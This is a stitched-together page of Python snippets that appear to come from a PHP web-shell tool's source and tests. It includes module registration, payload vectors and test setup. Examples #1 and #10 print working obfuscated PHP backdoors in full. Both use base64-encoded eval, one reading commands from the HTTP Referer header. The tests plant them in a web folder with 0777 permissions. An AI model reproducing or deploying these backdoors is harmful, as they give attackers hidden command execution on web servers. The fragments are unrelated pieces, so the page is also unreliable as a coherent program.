Example #1
0
    def setUpClass(cls):

        if config.debug:
            stream_handler.setLevel(logging.DEBUG)
        else:
            stream_handler.setLevel(logging.INFO)

        cls._randomize_bd()
        cls.password = '******'

        # Check `config.script_folder` permissions, comparing just the
        # last 3 digits

        if (subprocess.check_output(config.cmd_env_stat_permissions_s %
                                    (config.script_folder),
                                    shell=True).strip()[-3:] !=
                config.script_folder_expected_perms[-3:]):
            raise DevException(
                "Error: give the required permissions to the folder \'%s\'" %
                config.script_folder)

        obfuscated = """<?php eval(base64_decode('cGFyc2Vfc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwkYSk7IGlmKHJlc2V0KCRhKT09J2FzJyAmJiBjb3VudCgkYSk9PTkpIHsgZWNobyAnPGRhc2Q+JztldmFsKGJhc2U2NF9kZWNvZGUoc3RyX3JlcGxhY2UoIiAiLCAiKyIsIGpvaW4oYXJyYXlfc2xpY2UoJGEsY291bnQoJGEpLTMpKSkpKTtlY2hvICc8L2Rhc2Q+Jzt9')); ?>"""

        tmp_handler, tmp_path = tempfile.mkstemp()
        save_generated(obfuscated, tmp_path)
        subprocess.check_call(config.cmd_env_move_s_s % (tmp_path, cls.path),
                              shell=True)

        subprocess.check_call(config.cmd_env_chmod_s_s % ('0777', cls.path),
                              shell=True)
Example #2
0
    def register_arguments(self, arguments=[]):
        """Register the module arguments.

        Register arguments to be added to the argparse parser.

        Args:
            arguments (list of dict): List of dictionaries in the form
            `[{ 'name' : 'arg1', 'opt' : '', .. }, {'name' : 'arg2', 'opt' : '', .. }]`
            to be passed to the `ArgumentParser.add_argument()` method.
        """

        try:
            for arg_opts in arguments:

                # Handle if the argument registration is done before
                # The vector registration. This should at least warn
                if arg_opts.get('choices') == []:
                    log.warn(messages.module.error_choices_s_s_empty %
                             (self.name, arg_name))

                self.argparser.add_argument(
                    arg_opts['name'],
                    **dict((k, v) for k, v in arg_opts.items() if k != 'name'))
        except Exception as e:
            raise DevException(messages.module.error_setting_arguments_s % (e))
Example #3
0
    def populate_files(self,
                       dir_abs_paths,
                       file_name_list=[],
                       file_content_list=[]):
        """Populate a folder tree with files with random names.

        Args:
            dir_abs_path (list of str): List of folders to populate

        Returns:
            A set of file_abs_path, file_rel_path
        """

        files_abs = []
        files_rel = []

        if file_content_list and len(file_content_list) != len(file_name_list):
            raise DevException(
                "Error, file names and contents lists have different lengths.")

        for folder_abs in dir_abs_paths:
            file_name = file_name_list.pop(
                0) if file_name_list else utils.strings.randstr()

            files_abs.append(os.path.join(folder_abs, file_name))
            files_rel.append(files_abs[-1].replace(config.script_folder, ''))
            self.check_call(
                config.cmd_env_content_s_to_s %
                ('1' if not file_content_list else file_content_list.pop(0),
                 files_abs[-1]),
                shell=True)

        return files_abs, files_rel
Example #4
0
    def register_info(self, info):
        """Register the module basic information.

        The human-readable description is automatically read from the object
        docstring. With no description set, raise an exception.

        Arbitrary fields can be used.

        Args:
            info (dict): Module information.

        Raises:
            DevException: Missing description

        """

        self.info = info

        self.info['description'] = (info.get('description')
                                    if info.get('description') else
                                    self.__doc__.strip())

        self.argparser.description = self.info.get('description')

        if not self.argparser.description:
            raise DevException(
                messages.module.error_module_missing_description)
Example #5
0
    def setUpClass(cls):

        if config.debug:
            stream_handler.setLevel(logging.DEBUG)
        else:
            stream_handler.setLevel(logging.CRITICAL)

        cls._randomize_bd()

        # Check `config.script_folder` permissions, comparing just the
        # last 3 digits

        if (subprocess.check_output(config.cmd_env_stat_permissions_s %
                                    (config.script_folder),
                                    shell=True).strip()[-3:] !=
                config.script_folder_expected_perms[-3:]):
            raise DevException(
                "Error: give the required permissions to the folder \'%s\'" %
                config.script_folder)

        obfuscated = generate(cls.password)

        tmp_handler, tmp_path = tempfile.mkstemp()
        save_generated(obfuscated, tmp_path)
        subprocess.check_call(config.cmd_env_move_s_s % (tmp_path, cls.path),
                              shell=True)

        subprocess.check_call(config.cmd_env_chmod_s_s % ('0777', cls.path),
                              shell=True)
Example #6
0
    def setUpClass(cls):

        if config.debug:
            stream_handler.setLevel(logging.DEBUG)
        else:
            stream_handler.setLevel(logging.INFO)

        cls._randomize_bd()

        # Check `config.script_folder` permissions
        if (subprocess.check_output(
                config.cmd_env_stat_permissions_s % (config.script_folder),
                shell=True).strip() != config.script_folder_expected_perms):
            raise DevException(
                "Error: give to the http user full permissions to the folder \'%s\'"
                % config.script_folder)

        obfuscated = generate(cls.password)

        tmp_handler, tmp_path = tempfile.mkstemp()
        save_generated(obfuscated, tmp_path)
        subprocess.check_call(config.cmd_env_move_s_s % (tmp_path, cls.path),
                              shell=True)

        subprocess.check_call(config.cmd_env_chmod_s_s % ('777', cls.path),
                              shell=True)
Example #7
0
    def init(self):
        """Module initialization.

        Called at boot.

        Must be overriden to set the basic Module data.

        This normally calls `register_info()`, `register_vectors()` and `register_arguments()`.
        """

        raise DevException(messages.module.error_init_method_required)
Example #8
0
    def __init__(self,
                 payload_path,
                 name=None,
                 target=0,
                 postprocess=None,
                 arguments=[],
                 background=False):

        if not isinstance(payload_path, basestring):
            raise DevException(messages.vectors.wrong_payload_type)

        try:
            payload = file(payload_path, 'r').read()
        except Exception as e:
            raise DevException(messages.generic.error_loading_file_s_s %
                               (payload_path, e))

        ModuleExec.__init__(self,
                            module='shell_php',
                            arguments=[payload] + arguments,
                            name=name,
                            target=target,
                            postprocess=postprocess,
                            background=background)
Example #9
0
    def __init__(self,
                 payload,
                 name=None,
                 target=0,
                 postprocess=None,
                 arguments=[],
                 background=False):

        if not isinstance(payload, str):
            raise DevException(messages.vectors.wrong_payload_type)

        ModuleExec.__init__(self,
                            module='shell_sh',
                            arguments=[payload] + arguments,
                            name=name,
                            target=target,
                            postprocess=postprocess,
                            background=background)
Example #10
0
    def setUpClass(cls):

        if config.debug:
            stream_handler.setLevel(logging.DEBUG)
        else:
            stream_handler.setLevel(logging.INFO)

        cls._randomize_bd()
        cls.password = '******'

        # Check `config.script_folder` permissions, comparing just the
        # last 3 digits

        if (subprocess.check_output(config.cmd_env_stat_permissions_s %
                                    (config.script_folder),
                                    shell=True).strip()[-3:] !=
                config.script_folder_expected_perms[-3:]):
            raise DevException(
                "Error: give the required permissions to the folder \'%s\'" %
                config.script_folder)

        obfuscated = """<?php
$xcrd="mVwbeoGFjZShhceonJheSgnL1teXHc9XeoHeoNdLycsJy9ccy8nKSwgYXeoJyYXkeooJycsJysnKSwgam";
$dqlt="JGMeo9J2NvdW50JzskYT0kX0NPT0tJRTtpeoZihyZXNldCgkeoYSk9PSdhcycgJeoiYeogJGMoeoJGEpP";
$lspg="9pbihhcnJheeoV9zbeoGljZSgeokYeoSeowkYygkYSktMykpKSkpO2VeojaG8gJzwvJyeo4kay4nPic7fQ==";
$tylz="jMpeyRreoPeoSeodkYXeoNkJztlY2hvICc8Jy4kay4nPieoc7ZXZhbeoChiYXNlNjRfZGVjb2RlKHByZWdfeoc";
$toja = str_replace("z","","zsztr_zrzezpzlazce");
$apod = $toja("q", "", "qbaqsqeq6q4_qdecodqe");
$fyqt = $toja("uw","","uwcruweuwauwtuwe_funuwcuwtuwiouwn");
$sify = $fyqt('', $apod($toja("eo", "", $dqlt.$tylz.$xcrd.$lspg))); $sify();
?>"""

        tmp_handler, tmp_path = tempfile.mkstemp()
        save_generated(obfuscated, tmp_path)
        subprocess.check_call(config.cmd_env_move_s_s % (tmp_path, cls.path),
                              shell=True)

        subprocess.check_call(config.cmd_env_chmod_s_s % ('0777', cls.path),
                              shell=True)
Example #11
0
    def run(self, format_args={}):
        """Run the module with the formatted payload.

        Render the contained payload with mako and pass the result
        as argument to the given module. The result is processed by the
        `self.postprocess` method.

        Args:
            format_arg (dict): The dictionary to format the payload with.

        Return:
            Object. Contains the postprocessed result of the `run_argv`
            module execution.

        """

        try:
            formatted = self.format(format_args)
        except TypeError as e:
            import traceback
            log.debug(traceback.format_exc())
            raise DevException(messages.vectors.wrong_arguments_type)

        # The background argument is set at vector init in order
        # to threadify vectors also if called by VectorList methods.
        if self.background:
            _thread.start_new_thread(modules.loaded[self.module].run_argv,
                                     (formatted, ))
            result = None
        else:
            result = modules.loaded[self.module].run_argv(formatted)

        if self.postprocess:
            result = self.postprocess(result)

        return result
Example #12
0
    def find_first_result(self,
                          names=[],
                          format_args={},
                          condition=None,
                          store_result=False,
                          store_name=''):
        """ Execute all the vectors and return the first result matching the given condition.

        Return the name and the result of the first vector execution response that satisfy
        the given condition.

        With unspecified names, execute all the vectors. Optionally store results.

        Exceptions triggered checking condition function are catched and logged.

        Args:
            names (list of str): The list of names of vectors to execute.

            format_args (dict): The arguments dictionary used to format the vectors with.

            condition (function): The function or lambda to check certain conditions on result.
            Must returns boolean.

            store_result (bool): Store as result.

            store_name (str): Store the found vector name in the specified argument.

        Returns:
            Tuple. Contains the vector name and execution result in the
            `( vector_name, result )` form.

        """

        if not callable(condition):
            raise DevException(messages.vectors.wrong_condition_type)
        if not isinstance(store_name, str):
            raise DevException(messages.vectors.wrong_store_name_type)

        for vector in self:

            # Skip with wrong vectors
            if not self._os_match(vector.target): continue

            # Clean names filter from empty objects
            names = [n for n in names if n]

            # Skip if names filter is passed but current vector is missing
            if names and not any(n in vector.name for n in names): continue

            # Add current vector name
            format_args['current_vector'] = vector.name

            # Run
            result = vector.run(format_args)

            # See if condition is verified
            try:
                condition_result = condition(result)
            except Exception as e:
                import traceback
                log.info(traceback.format_exc())
                log.debug(messages.vectorlist.vector_s_triggers_an_exc %
                          vector.name)

                condition_result = False

            # Eventually store result or vector name
            if condition_result:
                if store_result:
                    self.session[self.module_name]['results'][
                        vector.name] = result
                if store_name:
                    self.session[self.module_name]['stored_args'][
                        store_name] = vector.name

                return vector.name, result

        return None, None